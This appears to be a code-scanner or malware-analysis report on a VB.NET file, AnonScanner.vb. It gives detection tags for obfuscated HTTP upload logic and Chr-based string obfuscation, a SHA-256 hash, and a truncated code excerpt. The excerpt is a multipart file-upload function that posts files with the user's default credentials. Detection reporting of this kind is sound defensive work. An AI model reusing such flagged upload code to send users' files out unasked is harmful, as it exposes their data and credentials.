AnonScanner.vb
Obfuscated HTTP upload logic
Heavy VBA string obfuscationRepeated Chr fragment concatenation
SHA-2568cd1a06d00666fe4ae0a0d8705e3010581c51b350a7a395842d164128ace2776
MaleculeO(As)H(Db)
Evidence
10:17… AnonScanner
11 ' Methods
12 Public Sub New(ByVal _api As String, ByVal id As String)
13 AnonScanner.apiKey = _api
14 AnonScanner.uid = id
15 End Sub
16
17 Public Shared Function HttpUploadFile(ByVal url As String, ByVal file As String, ByVal paramName As String, ByVal contentType As Stri …
17:155… As NameValueCollection) As String
18 Dim enumerator As IEnumerator
19 Dim str As String = ("---------------------------" & DateTime.Now.Ticks.ToString("x"))
20 Dim bytes As Byte() = Encoding.ASCII.GetBytes((ChrW(13) & ChrW(10) & "--" & str & ChrW(13) & ChrW(10)))
21 Dim request As HttpWebRequest = DirectCast(WebRequest.Create(url), HttpWebRequest)
22 request.ContentType = ("multipart/form-data; boundary=" & str)
23 request.Method = "POST"
24 request.KeepAlive = True
25 request.Credentials …
25:35… CredentialCache.DefaultCredentials
26 Dim requestStream As Stream = request.GetRequestStream
27 Dim format As String = "Content-Disposition: form-data; name=""{0}""" & ChrW(13) & ChrW(10) & ChrW(13) & C …
43:60… -data; name=""{0}""; filename=""{1}""" & ChrW(13) & ChrW(10) & "Content-Type: {2}" & ChrW(13) & ChrW(10) & ChrW(13) & ChrW(10)
44 Dim s As String = String.Format(str4, paramName, file, contentTyp …